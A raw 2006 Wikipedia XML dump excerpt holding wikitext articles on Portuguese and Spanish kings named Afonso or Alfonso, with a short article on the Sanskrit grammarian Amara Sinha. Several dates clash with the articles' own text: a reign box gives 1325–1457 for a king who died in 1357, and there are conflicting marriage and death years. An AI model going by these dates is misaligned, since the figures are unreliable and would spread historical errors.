In [[1309]], Afonso IV married princess Beatrice, daughter of King [[Sancho IV of Castile]] by his wife [[Maria de Molina]]. The first-born of this union, princess [[Maria of Portugal]], married King [[Alfonso XI of Castile]] in [[1328]], at the same time that Afonso IV's heir, Peter, was promised to another Castilian princess, [[Constance of Penafiel]]. These arrangements were imperiled by the ill will of Alfonso XI of Castile, who was, at the time, publicly mistreating his wife. Afonso IV was not happy to see his daughter abused, and started a war against Castile. Peace arrived four years later, with the intervention of princess Maria herself. A peace treaty was signed in [[Seville]] in [[1339]] and, in the next year, Portuguese troops played an important role in the victory of the [[Battle of Rio Salado]] over the Marinids [[Moors]] in October [[1340]].

The last part of Afonso IV's reign is marked not by open warfare against Castile, but by political intrigue. Civil war between King [[Peter I of Castile]] and his half-brother [[Henry of Trastamara]] led to the exile of many Castilian [[nobility|noble]]s to [[Portugal]]. These immigrants immediately created a faction among the Portuguese court, aiming at privileges and power that, somehow, could compensate what they lost at home. The faction grew in power, especially after [[Ines de Castro]], daughter of an important nobleman and maid of the [[Constance of Penafiel|Crown Princess Constance]], became the lover of her lady's husband: [[Peter I of Portugal|Peter]], the heir of Portugal. Afonso IV was displeased with his son's choice of lovers, and hoped that the relationship would be a futile one. Unfortunately for internal politics, it was not. Peter was openly in love with Ines, recognized all the children she bore, and, worst of all, favoured the Castilians that surrounded her. Moreover, after his wife's death in [[1349]], Peter refused the idea of marrying anyone other than Ines herself. 

The situation became worse as the years passed and the aging Afonso lost control over his court. Peter's only male heir, future king [[Fernando of Portugal]], was a sickly child, while the illegitimate children sired with Ines thrived. Worried about his legitimate grandson's life, and the growing power of Castile within Portugal's borders, Afonso ordered the murder of [[Ines de Castro]] in [[1355]]. He expected his son to act reasonably, but the heir was not able to forgive him for the act. Enraged at the barbaric act, Peter put himself at the head of an army and devastated the country between the [[Douro]] and the [[Minho]] rivers before he was reconciled to his father in early [[1357]]. Afonso died almost immediately after, in Lisbon in May.

As king, Afonso IV is remembered as a soldier and a valiant general, hence the nickname ''the Brave''. But perhaps his most important contribution was the importance he gave to the Portuguese [[navy]]. Afonso IV granted public funding to raise a proper [[trade|commercial]] fleet and ordered the first maritime explorations. The [[Canary Islands]] (today a part of [[Spain]]) were discovered during his reign.

===Afonso's descendants===

Afonso married Beatrice of [[Castile]] ([[1293]]-[[1359]]) in [[1309]], daughter of [[Sancho IV of Castile|Sancho IV]], [[King of Castile]], and Maria de Molia and had four sons and three daughters.

{| border=1 style=&quot;border-collapse: collapse;&quot;
|- bgcolor=cccccc
!Name!!Birth!!Death!!Notes
|-
|colspan=4|'''By [[Beatrice of Castile]]''' ([[1293]]-[[1359]]; married in [[1309]])
|-
|[[Maria of Portugal (1313-1357)|Princess Maria]]||[[1313]]||[[1357]]||Married to [[Alfonso XI of Castile]]
|-
|Prince Afonso||[[1315]]||[[1315]]||&amp;nbsp;
|-
|Prince Denis||[[1317]]||[[1318]]||&amp;nbsp;
|-
|[[Peter I of Portugal|Peter I]]||[[April 8]] [[1320]]||[[January 18]] [[1367]]||Succeeded him as 8th [[King of Portugal]]
|-
|Princess Isabel||[[December 21]] [[1324]]||[[July 11]] [[1326]]||&amp;nbsp;
|-
|Prince John||[[September 23]] [[1326]]||[[June 21]] [[1327]]||&amp;nbsp;
|-
|[[Leonor of Portugal (1328-1348)|Princess Leonor]]||[[1328]]||[[1348]]||Married to [[Peter IV of Aragon|Peter IV]], [[King of Aragon]]
|-
|colspan=4|'''Illegitimate offspring'''
|-
|[[Maria Afonso]]||[[1316]]||[[1384]]||Natural daughter
|}

===See also=== 
[[Kings of Portugal family tree]]


{{s-start}}
{{s-bef|before=[[Denis of Portugal|Denis]]}}
{{s-ttl|title=[[List of Portuguese monarchs|King of Portugal]]|years=[[1325]]&amp;ndash;[[1457]]}}
{{s-aft|after=[[Peter I of Portugal|Peter I]]}}

{{1911}}

[[Category:Portuguese monarchs]]
[[Category:1291 births|Afonso IV of Portugal]]
[[Category:1357 deaths|Afonso IV of Portugal]]

[[de:Alfons IV. (Portugal)]]
[[es:Alfonso IV de Portugal]]
[[fr:Alphonse IV de Portugal]]
[[pl:Alfons IV (król Portugalii)]]
[[pt:Afonso IV de Portugal]]
[[zh:阿方索四世 (葡萄牙)]]</text>
    </revision>
  </page>
  <page>
    <title>Afonso V of Portugal</title>
    <id>1661</id>
    <revision>
      <id>37706610</id>
      <timestamp>2006-02-01T18:16:54Z</timestamp>
      <contributor>
        <username>Cyrruss</username>
        <id>755021</id>
      </contributor>
      <text xml:space="preserve">{{House of Aviz}}

[[Image:AfonsoV-P.jpg|left|Afonso V of Portugal]]
'''Afonso V of Portugal''' ([[Portuguese language|Portuguese]] [[Pronunciation|pron.]] [[International Phonetic Alphabet|IPA]] /{{IPA|ɐ.'fõ.su}}/; [[English language|English]] ''Alphonzo''), or ''Affonso'' (Archaic Portuguese), ''the African'' ([[Portuguese language|Port.]] ''o Africano''), 12th [[List of Portuguese monarchs|king of Portugal]] was born in [[Sintra]] in [[January 15]] [[1432]] and died in the same city in [[August 28]] [[1481]]. He was the oldest son of king [[Duarte of Portugal]] by his wife, princess Eleanor of [[Aragon]]. Afonso V was onlly six years old when he succeeded his father in [[1438]]. 

During his minority, Afonso V was placed under the regency of his mother, according to a late will of his father. As both a foreigner and a woman, the queen was not a popular choice for regent. Opposition rose and the queen's only ally was [[Afonso, Duke of Braganza|Afonso]], the illegitimate half brother of Duarte I and count of Barcelos. In the following year, the ''Cortes'' (assembly of the kingdom) decide to replace the queen with [[Pedro, Duke of Coimbra]], the young king's oldest uncle. His main policies were concerned with avoiding the development of great noble houses, kingdoms inside the kingdom, and concentrating power in the person of the king. The country prospered under his rule, but not peacefully, as his laws interfered with the ambition of powerful nobles. The count of Barcelos, a personal enemy of the duke of Coimbra (despite being half-brothers) eventually became the king's favourite uncle and began a constant struggle for power. In [[1442]], the king made Afonso the first [[Duke of Braganza]]. With this title and its lands, he became the most powerful man in Portugal and one of the richest men in Europe. To secure his position as regent, in [[1445]] Pedro married his daughter, Isabel of Coimbra, princess of Portugal, to Afonso V.  

But in [[June 9]] [[1448]], when the king came of age, Pedro had to surrender his power to Afonso V.  The years of conspiracy by the duke of Braganza finally came to a head. In [[September 15]] of the same year, Afonso V nullified all the laws and edicts approved under the regency. The situation became unstable and, in the following year, being led by what he afterwards discovered to be false representations, Afonso declared Pedro a rebel and defeated his army in the [[battle of Alfarrobeira]], in which both his uncle and father in law was killed. After this battle and the loss of one of Portugal's most remarkable princes, the duke of Braganza became the ''de facto'' ruler of the country. 

Afonso V then turned his attentions to the North of Africa. In his grandfather's ([[John I of Portugal]]) reign, [[Ceuta]] had been conquered to the king of [[Morocco]], now the new king wanted to expand the conquests. The king's army conquered Alcacer Ceguer ([[1458]]), [[Tangiers]] (won and lost several times between [[1460]] and [[1464]]) and [[Arzila]] ([[1470]]). This achievements granted the king the nickname of ''African''. The king also supported the exploration of the [[Atlantic Ocean]] led by prince [[Henry the Navigator]] but, after Henry's death in [[1460]] he did nothing to pursue this course of action. Administratively, Afonso V was an absent king, since he did not pursue development of laws or commerce, preferring to stand with the legacy of his father and grandfather. 

[[Image:Domafonsov.jpg|left|200px|Afonso V of Portugal, Conqueror of African strongholds]]
When the campaigns in Africa were over, Afonso V found new grounds to battle in the Iberian Peninsula. In neighbouring [[Castile]], a huge scandal with political and dynastic implications was rising. King [[Henry IV of Castile]] was dying without heirs. From his two marriages, only a daughter, [[Joan, princess of Castile]] had been born. But her paternity was questioned, as rumour said the king was impotent and the queen, princess Joana of Portugal, had a notorious affair with a nobleman called Beltrán de La Cueva. The birth of princess Joan in [[1462]], openly called ''the Beltraneja'', caused the divorce of her parents. She was never consider legitimate and, now that the king was dying, no one took her as a serious contender for the crown. Her aunt, [[Isabella I of Castile]] that was due to inherit the crown. But Afonso V was keen to interfere with the succession in Castile. In [[1475]] he married his niece Joan, the Beltraneja, who he considered the legitimate heir to the crown. Since her adulteress mother was his own sister, Afonso V had not only ambition, but the family honour to protect. He proclaimed himself king of Castile and [[Kingdom of León|León]] and prepared to defend his wife's rights. But in the following year he was defeated at the [[battle of Toro]] by king [[Ferdinand II of Aragon]], the husband of Isabella of Castile.  He went to [[France]] to obtain the assistance of [[Louis XI of France|Louis XI]], but finding himself deceived by the French monarch, he returned to Portugal in [[1477]] with very low spirits. Disillusioned and depressed he fell into a deep melancholy and abdicated to his son João. After this, he retired to a monastery in [[Sintra]] where he died in 1481. His death was mourned in the country, by the people who loved the king, and by the nobles who were starting to fear his successor.

Afonso was a direct descendant of [[Edward III of England]] through his son [[John of Gaunt]] and therefore was a direct descendant of [[William the Conqueror]], [[King of England]].

===Afonso's marriages and descendants===
Afonso married first to his cousin [[Isabel of Coimbra]] in [[1447]]. Isabel died in [[1455]] and Afonso married again (although not recognized by the Papacy) in [[1475]], this time to [[Joan, princess of Castile|Joan of Castile]] (known as &quot;la Beltraneja&quot;), daughter of [[Henry IV of Castile]] and [[Joan of Portugal]]. This marriage was an attempt to inherit the throne of Castile as Joan was the sole daughter of Henry IV. However this didn't happen as Afonso lost a short war with Castile.

{| border=1 style=&quot;border-collapse: collapse;&quot;
|- bgcolor=cccccc
!Name!!Birth!!Death!!Notes
|-
|colspan=4|'''By [[Isabel of Coimbra]]''' ([[1432]]-[[December 2]] [[1445]]; married on [[February 2]] [[1387]])
|-
|Prince John||[[January 29]] [[1451]]||[[1451]]||&amp;nbsp;
|-
|[[Saint Joan of Portugal|Princess Joan]]||[[February 6]] [[1452]]||[[May 12]] [[1490]]||Known as Saint Joan of Portugal or Saint Joan Princess. [[Canonized]] in [[1693]] by [[Pope Innocent XII]]
|-
|[[John II of Portugal|John II]]||[[March 3]] [[1455]]||[[October 25]] [[1495]]||Who succeeded him as 13th [[King of Portugal]].
|-
|colspan=4|'''[[Joan, princess of Castile|Joan of Castile]]''' ([[1462]]-[[1530]]; married on [[May 30]] [[1475]])
|-
|colspan=4|'''By [[Maria Álvares de Carvalho]]''' (?-?)
|-
|[[Álvaro Soares de Carvalho]]||c. [[1467]]||[[1557]]||Natural son.
|}

'''See also:''' [[Kings of Portugal family tree]], [[Afonso de Albuquerque]] (contemporary Portuguese naval general)

{{s-start}}
{{s-bef|before=[[Edward of Portugal|Edward]]}}
{{s-ttl|title=[[List of Portuguese monarchs|King of Portugal]]|years=[[1438]]&amp;ndash;[[1481]]}}
{{s-aft|after=[[John II of Portugal|John II]]}}
{{end}}

[[Category:Portuguese monarchs]]
[[Category:Knights of the Garter]]
[[Category:1432 births|Afonso V of Portugal]]
[[Category:1481 deaths|Afonso V of Portugal]]

[[bg:Афонсу V (Португалия)]]
[[de:Alfons V. (Portugal)]]
[[es:Alfonso V de Portugal]]
[[fr:Alphonse V de Portugal]]
[[pl:Alfons V (król Portugalii)]]
[[pt:Afonso V de Portugal]]
[[zh:阿方索五世 (葡萄牙)]]</text>
    </revision>
  </page>
  <page>
    <title>Afonso VI of Portugal</title>
    <id>1662</id>
    <revision>
      <id>32913976</id>
      <timestamp>2005-12-27T21:13:35Z</timestamp>
      <contributor>
        <username>Airunp</username>
        <id>241848</id>
      </contributor>
      <minor />
      <comment>+es:</comment>
      <text xml:space="preserve">{|align=right
|-
|[[Image:Afonsoviportugal.jpg|left|150px]]
|-
|{{House of Braganza}}
|}
'''Afonso VI''' ([[Portuguese language|Portuguese]] [[Pronunciation|pron.]] [[International Phonetic Alphabet|IPA]] /{{IPA|ɐ.'fõ.su}}/; [[English language|English]] ''Alphonzo'' or ''Alphonse''), or ''Affonso'' (Old Portuguese), ([[August 21]],[[1643]]-[[September 12]], [[1683]]) was the twenty-second (or twenty-third according to some historians) [[Kings of Portugal|King]] of [[Portugal]], the second of the [[House of Braganza]], known as '''the Victorious''' ([[Portuguese language|Port.]] ''o Vitorioso'').

He succeeded his father ([[João IV]]) in [[1656]] at the age of thirteen. His mother, ([[D. Luisa de Gusmão]]) was named regent in his father's will.  At the age of three, he had suffered an illness that left him paralyzed on the left side of his body, as well as leaving him mentally unstable. This, plus his disinterest in ruling left his mother as regent for six years, until 1662.  Luisa oversaw military victories over the [[Spain|Spanish]] at [[Ameixial]] ([[June 8]] [[1663]]) and [[Montes Claros]] ([[June 17]] [[1665]]), culminating in the final Spanish recognition of Portugal's independence on [[February 13]] [[1668]]. Colonial affairs saw the [[Netherlands|Dutch]] conquest of [[Jaffnapatam]], Portugal's last colony in [[Sri Lanka]] ([[1658]]) and the cession of [[Bombay]] and [[Tangier]] to [[England]] ([[June 23]] [[1661]]) as dowry for Afonso's sister, [[Catherine of Braganza]] who had married King [[Charles II of England]]. English mediation in 1661 saw the [[Netherlands]] acknowledge Portuguese rule of [[Brazil]] in return for uncontested control of Sri Lanka. 
In [[1667]] In 1662, the [[Conde de Castelo-Melhor|Count of Castelo-Melhor]] saw an opportunity to gain power at court by befriending the king. He managed to convince the king that his mother was out to steal his throne and exile him from Portugal. As a result, Afonso took control of the throne and his mother sent to a convent. 

[[Image:AfonsoVIPortugal.jpg|left|thumb|150px]]He was married to ([[Marie Françoise of Nemours]]), the daughter of the Duke of Savoy, in 1666, but this marriage would not last long. Marie, or Maria Francisca, as the Portuguese call her, filed for an annullment in 1667 based on the impotence of the king. The Church granted her the annulment, and she married Afonso's brother, D. Pedro, (future ([[D. Pedro II]])). That same year, D. Pedro managed to gain enough support to force the king to relinquish control of the government and he became the Prince Regent. Afonso was banished to the island of [[Terceira]] in the [[Azores]] for seven years, returning to Portugal shortly before he died at [[Sintra]] in [[1683]]. 

{{s-start}}
{{s-bef|before=[[John IV of Portugal|John IV]]}}
{{s-ttl|title=[[List of Portuguese monarchs|King of Portugal]]|years=[[1656]]&amp;ndash;[[1667]]}}
{{s-aft|after=[[Peter II of Portugal|Peter II]]}}
{{end}}

==References==
*{{1911}}

[[Category:1643 births|Afonso VI of Portugal]]
[[Category:1675 deaths|Afonso VI of Portugal]]
[[Category:Portuguese monarchs]]
[[Category:Dukes of Braganza]]

[[de:Alfons VI. (Portugal)]]
[[es:Alfonso VI de Portugal]]
[[it:Alfonso VI di Portogallo]]
[[ja:アフォンソ6世]]
[[pl:Alfons VI (król Portugalii)]]
[[pt:Afonso VI de Portugal]]
[[zh:阿方索六世 (葡萄牙)]]</text>
    </revision>
  </page>
  <page>
    <title>Alphonso I of Spain</title>
    <id>1663</id>
    <revision>
      <id>15900129</id>
      <timestamp>2005-04-13T06:47:33Z</timestamp>
      <contributor>
        <username>JonnyR</username>
        <id>234035</id>
      </contributor>
      <minor />
      <comment>{{disambig}}</comment>
      <text xml:space="preserve">There has not been a monarch known as '''Alphonso''' or '''Alfonso I of Spain''', the first king of that name of the unified [[Spain]] being [[Alfonso XII of Spain|Alfonso XII]] ([[1874]]-[[1885]]).

Several precursor kingdoms have had an '''Alfonso I'''. You may have been looking for:
*[[Alfonso I of Asturias]] ([[739]]-[[757]]).
*[[Alfonso I of Aragon]] and Navarre ([[1104]]-[[1134]]), known as ''the Battler''.
*[[Alfonso II of Aragon|Alfons I, Count of Barcelona]] ([[1162]]-[[1196]]) known as ''el Cast (the Chaste)'' or ''el Trobador (the Troubadour)'', also Alfonso II of Aragon. 

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Alfonso II of Asturias</title>
    <id>1664</id>
    <revision>
      <id>40292012</id>
      <timestamp>2006-02-19T16:01:57Z</timestamp>
      <contributor>
        <username>Yearofthedragon</username>
        <id>472</id>
      </contributor>
      <text xml:space="preserve">[[Image:Spain.Santiago.de.Compostela.Alfonso.II.jpg|thumb|Statue Alfonso II, Santiago de Compostela]]
'''Alfonso II''' ([[759]]-[[842]], king [[791]]), [[Alfonso I of Asturias|Alfonso I]]'s reputed grandson, bears the name of &quot;the Chaste.&quot;

The [[Arab]] writers who speak of the [[Spain|Spanish]] kings of the north-west as the Beni-Altons, appear to recognize them as a royal stock derived from Alfonso I.

The events of his reign are in reality unknown.  Poets of a later generation invented the story of the secret marriage of his sister Ximena with Sancho, count of Saldana, and the feats of their son [[Bernardo del Carpio]].  Bernardo is the hero of a ''[[cantar de gesta]]'' (''chanson de geste'') written to please the anarchical spirit of the nobles.

==References==
*{{1911}}

{{s-start}}
{{s-bef|before=[[Bermudo I of Asturias]]}}
{{s-ttl|title=[[List of Asturian monarchs|King of Asturias]]|years=[[791]]–[[842]]}}
{{s-aft|after=[[Ramiro I of Asturias]]}}
{{end}}

[[Category:Asturian monarchs]]

[[ast:Alfonso II]]
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[[gl:Afonso II de Asturias]]
[[nl:Alfons II van Asturië]]
[[pt:Afonso II das Astúrias]]</text>
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  <page>
    <title>Alphonso III of Spain</title>
    <id>1665</id>
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    <title>Analytical Engine</title>
    <id>1666</id>
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      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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</text>
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  <page>
    <title>Alphonso IV of Spain</title>
    <id>1667</id>
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    <title>Alfonso V of Spain</title>
    <id>1668</id>
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        <username>John Kenney</username>
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  <page>
    <title>Amara Sinha</title>
    <id>1669</id>
    <revision>
      <id>40359160</id>
      <timestamp>2006-02-20T01:16:37Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
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      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Amara Sinha''' (c. [[375|AD 375]]) was a [[Sanskrit]] [[grammar]]ian and [[poet]], of whose personal history hardly anything is known.

He is said to have been &quot;one of the nine gems that adorned the throne of [[Vikramaditya]],&quot; and according to the evidence of Hsuan Tsang, this is the [[Chandragupta Vikramaditya]] ([[Chandragupta II]]) that flourished about AD 375.

Amara seems to have been a [[Buddhist]]; and an early tradition asserts that his works, with one exception, were destroyed during the persecution carried on by the orthodox [[Brahmin]]s in the [[5th century]]. The exception is the celebrated ''Amara-Kosha'' (''Treasury of Amara''), a vocabulary of Sanskrit roots, in three books, and hence sometimes called ''Trikanda'' or the &quot;Tripartite.&quot;

It contains 10,000 words, and is arranged, like other works of its class, in metre, to aid the memory.  The first chapter of the ''Kosha'' was printed at [[Rome]] in Tamil character in 1798.  An edition of the entire work, with English notes and an index by [[Henry Thomas Colebrooke|HT Colebrooke]], appeared at [[Serampore]] in 1808. The Sanskrit text was printed at [[Calcutta]] in 1831.  A French translation by ALA Loiseleur-Deslongchamps as published at Paris in 1839. 


==References==
*{{1911}}

==External links==

*[http://sanskrit.gde.to/doc_z_misc_amarakosha.html Amarakosha Sanskrit text]</text>
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    <title>Alphonso VI of Spain</title>
    <id>1670</id>
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    <title>Alphonso VIII of Spain</title>
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    <title>Alfonso IX of Spain</title>
    <id>1673</id>
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      <id>15900139</id>
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    <title>Alphonso X of Spain</title>
    <id>1674</id>
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    <title>Alphonso XI of Spain</title>
    <id>1675</id>
    <revision>
      <id>15900141</id>
      <timestamp>2002-12-29T16:01:06Z</timestamp>
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      <text xml:space="preserve">#REDIRECT [[Alfonso XI of Castile]]</text>
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  </page>
  <page>
    <title>Alfonso XII of Spain</title>
    <id>1676</id>
    <revision>
      <id>41447727</id>
      <timestamp>2006-02-27T10:59:39Z</timestamp>
      <contributor>
        <username>Dimadick</username>
        <id>24198</id>
      </contributor>
      <comment>Added link to his legal father</comment>
      <text xml:space="preserve">{|align=right
|[[Image:Alfonso XII.png|thumb|'''Alfonso XII'''&lt;br&gt;&lt;small&gt;King of Spain&lt;/br&gt;&lt;/small&gt;]]
|-
|{{House of Bourbon}}
|}
'''Alfonso XII of Spain''' ([[November 28]], [[1857]]&amp;ndash;[[November 25]], [[1885]]), was king of [[Spain]], reigning from 1875 to 1885, after a ''[[coup d'état]]'' restored the monarchy and ended the ephemeral [[First Spanish Republic]].

He was son of [[Isabella II of Spain]].  His biological paternity is uncertain, though his legal paternity is not: his mother was married to her homosexual cousin [[Francis of Asis de Bourbon]], Infante, and king Consort of Spain, eldest son of the duke of Cadiz, at the time of Alfonso's conception and birth. Alfonso's biological father is said to have been Enrique Puig y Moltó, a captain of the guard, or [[Francisco Serrano y Dominguez|General Serrano]].

When Queen Isabella and her husband were forced to leave Spain by the [[revolution of 1868]], Alfonso accompanied them to [[Paris]], and from there he was sent to the [[Theresianum]] at [[Vienna]] to continue his studies.  On [[June 25]] [[1870]] he was recalled to Paris, where his mother abdicated in his favour, in the presence of a number of Spanish nobles who had followed the fortunes of the exiled queen.  He assumed the title of Alfonso XII; for although no king of united Spain had previously borne the name, the Spanish monarchy was regarded as continuous with the more ancient monarchy, represented by the eleven kings of [[Kingdom of León|León]] and [[Castile]] also named [[Alfonso]].  Shortly afterwards he proceeded to the [[Royal Military Academy Sandhurst]] in the [[United Kingdom]], to continue his military studies, and while there he issued, on the [[December 1]], [[1874]], in reply to a birthday greeting from his followers, a manifesto proclaiming himself the sole representative of the Spanish monarchy.  At the end of the year, when Marshal Serrano left [[Madrid]] to take command of the northern army in the [[Carlist War]], Brigadier [[Arsenio Martínez Campos|Martinez Campos]], who had long been working more or less openly for the king, carried off some battalions of the central army to [[Sagunto]], rallied to his own flag the troops sent against him, and entered [[Valencia]] in the king's name.  Thereupon the president of the council resigned, and the power was transferred to the king's plenipotentiary and adviser, [[Canovas del Castillo]].  In the course of a few days the king arrived at Madrid, passing through [[Barcelona]] and Valencia, and was received everywhere with acclamation (1875).  In 1876 a vigorous campaign against the [[Carlists]], in which the young king took part, resulted in the defeat of [[Infante Carlos of Spain|Don Carlos]] and his abandonment of the struggle.  On [[January 23]], [[1878]] Alfonso married his cousin, Princess [[Maria de las Mercedes of Spain|Maria de las Mercedes]], daughter of the duc de Montpensier, but she died within six months of her marriage. Towards the end of the same year a young workman of [[Tarragona]], [[Juan Oliva Moncasi]], fired at the king in Madrid.  

On [[November 29]], [[1879]] he married a much more distant relative, Archduchess [[Maria Christina of Austria]], daughter of [[Karl Ferdinand, Archduke of Austria|Archduke Karl Ferdinand of Austria]].  During the honeymoon a pastrycook named Otero fired at the young sovereigns as they were driving in Madrid.  

The children of this marriage were:
* [[Maria de las Mercedes]], Princess of Asturias, ([[September 11]], [[1880]] &amp;ndash; [[October 17]], [[1904]]), married on [[February 14]], [[1901]] to Prince Carlos of Bourbon, and titular heiress from the death of her father until the posthumous birth of her brother
* Maria Teresa, ([[November 12]], [[1882]] &amp;ndash; [[September 23]], [[1912]]), married to Prince Ferdinand of Bavaria on [[January 12]], [[1906]]
* King [[Alfonso XIII of Spain|Alfonso XIII]] who was king from the moment of his birth and thus never held any other Spanish titles from the crown, such as Infante or Prince of Asturias. 

In 1881 the king refused to sanction the law by which the ministers were to remain in office for a fixed term of eighteen months, and upon the consequent resignation of Canovas del Castillo, he summoned [[Práxedes Mateo Sagasta]], the Liberal leader, to form a cabinet.  

Alfonso died of [[tuberculosis]].  

Coming to the throne at such an early age, he had served no apprenticeship in the art of ruling, but he possessed great natural tact and a sound judgment ripened by the trials of exile.  Benevolent and sympathetic in disposition, he won the affection of his people by fearlessly visiting the districts ravaged by cholera or devastated by [[earthquake]] in 1885.  His capacity for dealing with men was considerable, and he never allowed himself to become the instrument of any particular party.  In his short reign, peace was established both at home and abroad, the finances were well regulated, and the various administrative services were placed on a basis that afterwards enabled [[Spain]] to pass through the disastrous war with the [[United States]] without even the threat of a revolution. 

[[Image:Monument-to-Alfonso-XII.jpg|thumb|left|300px|Monument to Alfonso XII in [[Parque del Retiro]], [[Madrid]].]]

{{s-start}}
{{s-hou|[[House of Bourbon]]|[[28 November]]|1857|[[25 November]]|1885}}
{{s-non|reason=[[First Spanish Republic|First Republic]]&lt;br/&gt;'''''&lt;small&gt;Title last held by&lt;br/&gt;[[Amadeo I of Spain|Amadeo I]]&lt;/small&gt;''}}
{{s-ttl|title=[[List of Spanish monarchs|King of Spain]]|years=[[1875]]&amp;ndash;[[1885]]}}
{{s-aft|after=[[Alfonso XIII of Spain|Alfonso XIII]]}}
{{end}}

==References==
*{{1911}}

[[Category:Spanish monarchs]]
[[Category:Knights of the Garter]]
[[Category:1857 births|Alfonso XII of Spain]]
[[Category:1885 deaths|Alfonso XII of Spain]]
[[Category:House of Bourbon]]

[[de:Alfons XII. (Spanien)]]
[[es:Alfonso XII de España]]
[[fr:Alphonse XII d'Espagne]]
[[it:Alfonso XII di Spagna]]
[[pl:Alfons XII Burbon]]
[[pt:Afonso XII de Espanha]]
[[sv:Alfons XII av Spanien]]
[[zh:阿方索十二世]]</text>
    </revision>
  </page>
  <page>
    <title>Alfonso XIII of Spain</title>
    <id>1677</id>
    <revision>
      <id>41642999</id>
      <timestamp>2006-02-28T19:16:36Z</timestamp>
      <contributor>
        <username>Tail</username>
        <id>64886</id>
      </contributor>
      <minor />
      <comment>+lv:</comment>
      <text xml:space="preserve">{|align=right
|[[Image:Alfonso XIII of Spain.jpg|thumb|right|200px|'''Alfonso XIII'''&lt;br&gt;&lt;small&gt;King of Spain&lt;/small&gt;]]
|-
|{{House of Bourbon}}
|}
'''Alfonso XIII of Spain''' ([[May 17]], [[1886]] &amp;ndash; [[February 28]], [[1941]]), [[List of Spanish monarchs|King of Spain]], posthumous son of [[Alfonso XII of Spain]], was proclaimed King at his birth. He reigned from 1886-1931. His mother, Queen [[Maria Christina of Austria]], was appointed [[regent]] during his minority. In 1902, on attaining his 16th year, the King assumed control of the government.

The growth of the young monarch can be seen in his portraits on Spain's periodically issued [[peseta]] coins.

On [[May 31]], [[1906]] he married Scottish-born [[Princess Victoria Eugenie of Battenberg]] (1887-1969), a niece of King [[Edward VII of the United Kingdom]] and a granddaughter of Queen [[Victoria of the United Kingdom]]. A [[Serene Highness]] by birth, Ena, as she was known, was raised to Royal Highness status a month before her wedding to prevent the union from being viewed as unequal. As Alfonso XIII and Queen Ena were returning from the wedding they narrowly escaped the assassination attempted by the [[Anarchism|anarchist]] [[Mateu Morral]]; instead, the bomb explosion killed or injured many bystanders and members of the royal procession. 

The royal couple had seven children: 
* [[Infante]] Alfonso Pío Cristino Eduardo, [[Prince of Asturias]] ([[1907]]-[[1938]]), a [[hemophiliac|hemophiliac]], he renounced his rights to the throne in 1933 to marry a commoner, Edelmira  Sampedro Ocejo y Robato, and became Count of [[Covadonga]]. He later remarried to Marta Esther Rocafort y Altazarra, but had no issue by either of them.
* Infante [[Infante Jaime of Spain, Duke of Segovia|Jaime Luitpold Isabelino Enrique]] ([[1908]]-[[1975]]), a [[deaf-mute]] as the result of a childhood operation, he renounced his rights to the throne in 1933 and became Duke of [[Segovia]], and later Duke of Madrid, and who, as a [[legitimist]] [[pretender to the French throne]] from 1941 to 1975, was known as the Duke of [[Anjou]].
* Infanta Beatriz Isabel Federica Alfonsa Eugenia ([[1909]]-[[2002]]), who married [[Don Alessandro Torlonia, 5th Prince di Civitella-Cesi]].
* Infante Fernando, [[stillborn]] (1910)
* Infanta [[Maria Cristina Teresa Alejandra]] ([[1911]]-[[1996]]), who married Enrico Eugenio Marone-Cinzano, 1st Conte di Marone.
* Infante [[Juan de Borbón, Count of Barcelona|Juan Carlos Teresa Silvestre Alfonso]] ([[1913]]-[[1993]]), named heir to the throne and Count of Barcelona.
* Infante Gonzalo Manuel María Bernardo ([[1914]]-[[1934]]), a hemophiliac.[[Image:Alfonso_XIII_sculpted_by_José_Navas-Parejo.jpg|thumb|left|200px|Alfonso XIII sculpted by Jose Navas-Parejo]] 

The king also had three illegitimate children, Roger Leveque de Vilmorin (1905-1980), by French aristocrat Mélanie de Gaufridy de Dortan; Leandro Alfonso Ruíz Moragas (born in [[1929]]), officially recognized by Spanish courts on [[May 21]] [[2003]] as Leandro Alfonso de Borbón Ruíz, son of the King; and his sister, Ana María Teresa Ruíz Moragas. The mother of both siblings was the Spanish actress Carmen Ruíz Moragas.

During his reign [[Spain]] lost its last colonies in [[Cuba]], [[Puerto Rico]] and the [[Philippines]]; lost several wars in north Africa; saw the start of the [[Spanish Generation of 1927]], and endured the dictatorship of [[Miguel Primo de Rivera]].
He was a promoter of [[tourism in Spain]].
The problems with the lodging of his wedding guests prompted the construction of the luxury [[Hotel Palace]] in Madrid.
He also supported the creation of a network of state-run lodges (''[[Parador]]'') in historic buildings of Spain.
[[Image:Alfonso xiii illustration.3.jpg|thumb|left|125px]]His fondness for the sport of football led to the patronage of several &quot;royal&quot; clubs like [[Real Sociedad]], [[Real Madrid]], [[Real Betis Balompié]] and [[Real Unión]].
When the [[Second Spanish Republic]] was proclaimed on [[April 14]] [[1931]], he abandoned the country with no formal abdication. When the [[Spanish Civil War]] broke out, Alfonso made it clear he favoured the military uprising against the [[Popular Front (Spain)|Popular Front]] government, but General [[Francisco Franco]] in September 1936 declared that the Nationalists would never accept Alfonso as king (the supporters of the rival [[Carlist]] made an important part of the Franco army). First he went into exile in [[France]]. Later he moved to [[Fascist Italy]], and died in [[Rome]] in 1941. After leaving his successory rights to his fourth, but second surviving, son [[Juan de Borbon, Count of Barcelona]], the father of the later King [[Juan Carlos of Spain|Juan Carlos]]. The count of Barcelona renounced his rights to the throne in 1977, in favor of his son, Juan Carlos.

{{s-start}}
{{s-hou|[[House of Bourbon]]|[[17 May]]|1886|[[28 February]]|1941}}
{{s-bef|before=[[Alfonso XII of Spain|Alfonso XII]]}}
{{s-ttl|title=[[List of Spanish monarchs|King of Spain]]|years=[[1886]]&amp;ndash;[[1931]]|regent1=[[Maria Christina of Austria|Maria Christina]]|years1=[[1886]]&amp;ndash;[[1902]]}}
{{s-non|reason=[[Second Spanish Republic|Second Republic]]&lt;br/&gt;declared}}
|-
{{s-non|reason=[[Second Spanish Republic|Second Republic]]&lt;br/&gt;declared}}
{{s-tul|title=[[List of Spanish monarchs|King of Spain]]|years=[[1931]]&amp;ndash;[[1941]]|reason=[[Second Spanish Republic|Second Republic]]&lt;br/&gt;[[Spanish Civil War]]&lt;br/&gt;[[Spanish State]]|start=1931|end=1975}}
{{s-aft|after=[[Juan de Borbón, Count of Barcelona|Juan III]]}}
{{end}}

